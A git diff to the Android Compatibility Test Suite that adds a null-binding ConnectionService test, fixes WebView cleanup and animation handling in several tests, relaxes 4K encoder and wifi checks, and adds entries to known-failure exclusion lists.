diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java
new file mode 100644
index 00000000000..1debb7a6d4b
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * A minimal {@link Service} implementation intended to test cases where a {@link ConnectionService}
+ * tries to return a null binding.
+ */
+public class NullBindingConnectionService extends Service {
+ public static CountDownLatch sBindLatch = new CountDownLatch(1);
+ public static CountDownLatch sUnbindLatch = new CountDownLatch(1);
+
+ public NullBindingConnectionService() {
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ sBindLatch.countDown();
+ sUnbindLatch = new CountDownLatch(1);
+ return null;
+ }
+
+ @Override
+ public boolean onUnbind(Intent intent) {
+ sUnbindLatch.countDown();
+ sBindLatch = new CountDownLatch(1);
+ return false;
+ }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java
new file mode 100644
index 00000000000..611eeaba66e
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.content.ComponentName;
+import android.net.Uri;
+import android.os.Bundle;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+/**
+ * CTS tests to ensure that a ConnectionService which returns a null binding will be automatically
+ * unbound.
+ */
+
+public class NullBindingTest extends BaseTelecomTestWithMockServices {
+ private static final PhoneAccountHandle TEST_NULL_BINDING_HANDLE =
+ new PhoneAccountHandle(new ComponentName("android.telecom.cts",
+ "android.telecom.cts.NullBindingConnectionService"),
+ "1");
+
+ public static final PhoneAccount TEST_NULL_BINDING_ACCOUNT = PhoneAccount.builder(
+ TEST_NULL_BINDING_HANDLE, "Null")
+ .setAddress(Uri.parse("sip:test@test.com"))
+ .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED)
+ .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+ .build();
+
+ private static final Uri TEST_ADDRESS_1 = Uri.fromParts("sip", "call1@test.com", null);
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mContext = getInstrumentation().getContext();
+ if (mShouldTestTelecom) {
+ mTelecomManager.registerPhoneAccount(TEST_NULL_BINDING_ACCOUNT);
+ }
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ if (mShouldTestTelecom) {
+ mTelecomManager.unregisterPhoneAccount(TEST_NULL_BINDING_HANDLE);
+ }
+ }
+
+ /**
+ * Ensures that when we bind to a ConnectionService which returns a null binding that the
+ * ConnectionService is unbound automatically.
+ */
+ public void testNullBinding() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ // Place a call using the null binding connection service.
+ Bundle extras = new Bundle();
+ extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, TEST_NULL_BINDING_HANDLE);
+ mTelecomManager.placeCall(TEST_ADDRESS_1, extras);
+
+ // Ensure it bound and then unbound.
+ assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sBindLatch));
+ assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sUnbindLatch));
+
+ // Ensure there is no call present in Telecom
+ assertFalse(mTelecomManager.isInCall());
+ }
+}
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java
index 839a2903190..7f175637126 100644
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java
@@ -31,6 +31,7 @@ public class UiAutomationTestFirstActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
+ overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out);
setContentView(R.layout.ui_automation_test);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java
index 4ba0f743ce1..5a0b6d86153 100644
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java
@@ -30,6 +30,7 @@ public class UiAutomationTestSecondActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
+ overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out);
setContentView(R.layout.ui_automation_test);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index dbfcfa2d549..e65815260ea 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -24,7 +24,9 @@ import android.test.ActivityInstrumentationTestCase2;
import android.util.Base64;
import android.view.MotionEvent;
import android.view.ViewGroup;
+import android.view.ViewParent;
import android.webkit.ConsoleMessage;
+import android.view.ViewParent;
import android.webkit.JsPromptResult;
import android.webkit.JsResult;
import android.webkit.WebIconDatabase;
@@ -437,6 +439,7 @@ public class WebChromeClientTest extends ActivityInstrumentationTestCase2<WebVie
private boolean mHadOnCreateWindow;
private boolean mHadOnRequestFocus;
private boolean mHadOnReceivedIcon;
+ private WebView mChildWebView;
public MockWebChromeClient() {
super(mOnUiThread);
@@ -548,6 +551,15 @@ public class WebChromeClientTest extends ActivityInstrumentationTestCase2<WebVie
public void onCloseWindow(WebView window) {
super.onCloseWindow(window);
mHadOnCloseWindow = true;
+
+ if (mChildWebView != null) {
+ ViewParent parent = mChildWebView.getParent();
+ if (parent instanceof ViewGroup) {
+ ((ViewGroup) parent).removeView(mChildWebView);
+ }
+ mChildWebView.destroy();
+ }
+
}
@Override
@@ -561,12 +573,12 @@ public class WebChromeClientTest extends ActivityInstrumentationTestCase2<WebVie
if (mBlockWindowCreationAsync) {
transport.setWebView(null);
} else {
- WebView childView = new WebView(getActivity());
- final WebSettings settings = childView.getSettings();
+ mChildWebView = new WebView(getActivity());
+ final WebSettings settings = mChildWebView.getSettings();
settings.setJavaScriptEnabled(true);
- childView.setWebChromeClient(this);
- transport.setWebView(childView);
- getActivity().addContentView(childView, new ViewGroup.LayoutParams(
+ mChildWebView.setWebChromeClient(this);
+ transport.setWebView(mChildWebView);
+ getActivity().addContentView(mChildWebView, new ViewGroup.LayoutParams(
ViewGroup.LayoutParams.FILL_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT));
}
resultMsg.sendToTarget();
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
index 98ab11db9fb..c845138b0aa 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
@@ -146,7 +146,7 @@ public class TestHelper {
wifiManager.unregisterScanResultsCallback(scanResultsCallback);
}
List<ScanResult> scanResults = wifiManager.getScanResults();
- if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
+ if (scanResults == null || scanResults.isEmpty()) continue;
for (ScanResult scanResult : scanResults) {
WifiConfiguration matchingNetwork = savedNetworks.stream()
.filter(network -> TextUtils.equals(
diff --git a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
index 34ceb720a4a..ca3c8ca541f 100644
--- a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
+++ b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
@@ -18,6 +18,7 @@ package android.translation.cts;
import static android.content.Context.CONTENT_CAPTURE_MANAGER_SERVICE;
import static android.content.Context.TRANSLATION_MANAGER_SERVICE;
+import static android.provider.Settings.Global.ANIMATOR_DURATION_SCALE;
import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH;
import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_PAUSE;
import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_RESUME;
@@ -39,6 +40,7 @@ import static org.mockito.ArgumentMatchers.any;
import android.app.PendingIntent;
import android.content.ComponentName;
+import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.icu.util.ULocale;
@@ -79,6 +81,7 @@ import androidx.test.uiautomator.UiObject2;
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.RequiredServiceRule;
+import com.android.compatibility.common.util.SystemUtil;
import org.junit.After;
import org.junit.AfterClass;
@@ -240,6 +243,60 @@ public class UiTranslationManagerTest {
}
@Test
+ public void testUiTranslationWithoutAnimation() throws Throwable {
+ final float[] originalAnimationDurationScale = new float[1];
+ try {
+ // Disable animation
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ ContentResolver resolver =
+ ApplicationProvider.getApplicationContext().getContentResolver();
+ originalAnimationDurationScale[0] =
+ Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
+ Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
+ });
+
+ final Pair<List<AutofillId>, ContentCaptureContext> result =
+ enableServicesAndStartActivityForTranslation();
+
+ final CharSequence originalText = mTextView.getText();
+ final List<AutofillId> views = result.first;
+ final ContentCaptureContext contentCaptureContext = result.second;
+
+ final String translatedText = "success";
+ final UiObject2 helloText = Helper.findObjectByResId(Helper.ACTIVITY_PACKAGE,
+ SimpleActivity.HELLO_TEXT_ID);
+ assertThat(helloText).isNotNull();
+ // Set response
+ final TranslationResponse response =
+ createViewsTranslationResponse(views, translatedText);
+ sTranslationReplier.addResponse(response);
+
+ startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext);
+
+ assertThat(helloText.getText()).isEqualTo(translatedText);
+
+ pauseUiTranslation(contentCaptureContext);
+
+ assertThat(helloText.getText()).isEqualTo(originalText.toString());
+
+ resumeUiTranslation(contentCaptureContext);
+
+ assertThat(helloText.getText()).isEqualTo(translatedText);
+
+ finishUiTranslation(contentCaptureContext);
+
+ assertThat(helloText.getText()).isEqualTo(originalText.toString());
+ } finally {
+ // restore animation
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ Settings.Global.putFloat(
+ ApplicationProvider.getApplicationContext().getContentResolver(),
+ ANIMATOR_DURATION_SCALE, originalAnimationDurationScale[0]);
+ });
+ }
+ }
+
+ @Test
public void testPauseUiTranslationThenStartUiTranslation() throws Throwable {
final Pair<List<AutofillId>, ContentCaptureContext> result =
enableServicesAndStartActivityForTranslation();
diff --git a/tests/tvprovider/AndroidTest.xml b/tests/tvprovider/AndroidTest.xml
index 18a59ab3a31..5bd4d68ab90 100644
--- a/tests/tvprovider/AndroidTest.xml
+++ b/tests/tvprovider/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTvProviderTestCases.apk" />
diff --git a/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java
index d95e06956e3..1c4e6d8a533 100644
--- a/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java
+++ b/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java
@@ -121,6 +121,17 @@ class CodecEncoderPerformanceTestBase extends CodecPerformanceTestBase {
if (mMaxOpRateScalingFactor < 1.0f) {
mOperatingRateExpected = operatingRateToSet;
}
+
+ if (EXCLUDE_ENCODER_OPRATE_0_TO_30_FOR_4K) {
+ int width = mEncoderFormat.getInteger(MediaFormat.KEY_WIDTH);
+ int height = mEncoderFormat.getInteger(MediaFormat.KEY_HEIGHT);
+ if (width >= 3840 && height >= 2160) {
+ assumeTrue("For devices launched with Android R and below, operating rate " +
+ "tests are limited to operating rate <= 0 or >= 30 for 4k and" +
+ " above", operatingRateToSet <= 0 || operatingRateToSet >= 30);
+ }
+ }
+
mDecoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, operatingRateToSet);
mEncoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, operatingRateToSet);
} else if (mMaxOpRateScalingFactor < 0.0f) {
diff --git a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
index 5a34fce371b..0d49b5968ca 100644
--- a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
+++ b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
@@ -58,6 +58,10 @@ class CodecPerformanceTestBase {
// resolutions that are less than half of max supported frame sizes of encoder.
static final boolean EXCLUDE_ENCODER_MAX_RESOLUTION;
+ // Some older devices can not support concurrent instances of both decoder and encoder
+ // for operating rates > 0 and < 30 for resolutions 4k
+ static final boolean EXCLUDE_ENCODER_OPRATE_0_TO_30_FOR_4K;
+
static final String mInputPrefix = WorkDir.getMediaDirString();
ArrayList<MediaCodec.BufferInfo> mBufferInfos;
@@ -100,6 +104,12 @@ class CodecPerformanceTestBase {
// Encoders on devices launched on Android Q and lower aren't tested at maximum resolution
EXCLUDE_ENCODER_MAX_RESOLUTION = DEVICE_INITIAL_SDK <= Build.VERSION_CODES.Q;
+
+ // Encoders on devices launched on Android R and lower aren't tested when operating rate
+ // that is set is > 0 and < 30 for resolution 4k.
+ // This includes devices launched on Android S with R or lower vendor partition.
+ EXCLUDE_ENCODER_OPRATE_0_TO_30_FOR_4K =
+ !IS_AT_LEAST_VNDK_S || (DEVICE_INITIAL_SDK <= Build.VERSION_CODES.R);
}
@Before
diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
index b1bb5e04a33..3db9e6fbb91 100644
--- a/tools/cts-device-info/Android.mk
+++ b/tools/cts-device-info/Android.mk
@@ -46,7 +46,7 @@ LOCAL_ENFORCE_USES_LIBRARIES := false
LOCAL_DEX_PREOPT := false
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts mts vts catbox gcatbox
+LOCAL_COMPATIBILITY_SUITE := cts general-tests sts mts vts catbox gcatbox ats
include $(BUILD_CTS_DEVICE_INFO_PACKAGE)
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 3c0b126074b..d43d828e580 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -247,6 +247,21 @@
<!-- b/204721335 -->
<option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_onWindowLayoutChangeListener" />
+ <option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_getWindowLayoutInfo" />
+
+ <!-- b/209382234 -->
+ <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases android.devicepolicy.cts.KeyManagementTest" />
+ <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases[run-on-work-profile] android.devicepolicy.cts.KeyManagementTest" />
+ <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases[run-on-secondary-user] android.devicepolicy.cts.KeyManagementTest" />
+
+ <!-- b/203177211 -->
+ <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ListeningPortsTest#testNoRemotelyAccessibleListeningUdpPorts" />
+
+ <!-- b/182630972, b/214019488 -->
+ <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.PinnedStackTests#testEnterPipWithMinimalSize" />
+
+ <!-- b/205492302 -->
+ <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testSetCameraDisabled" />
<!-- b/209382234 -->
<option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases android.devicepolicy.cts.KeyManagementTest" />
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 9ddd8b17069..d07400fddd7 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -102,5 +102,9 @@
<!-- b/203177211 -->
<option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ListeningPortsTest#testNoRemotelyAccessibleListeningUdpPorts" />
+ <!-- b/212223944 -->
+ <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest#testSurfaceTransaction_setDesiredPresentTime_30ms" />
+ <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest#testSurfaceTransaction_setDesiredPresentTime_100ms" />
+
</configuration>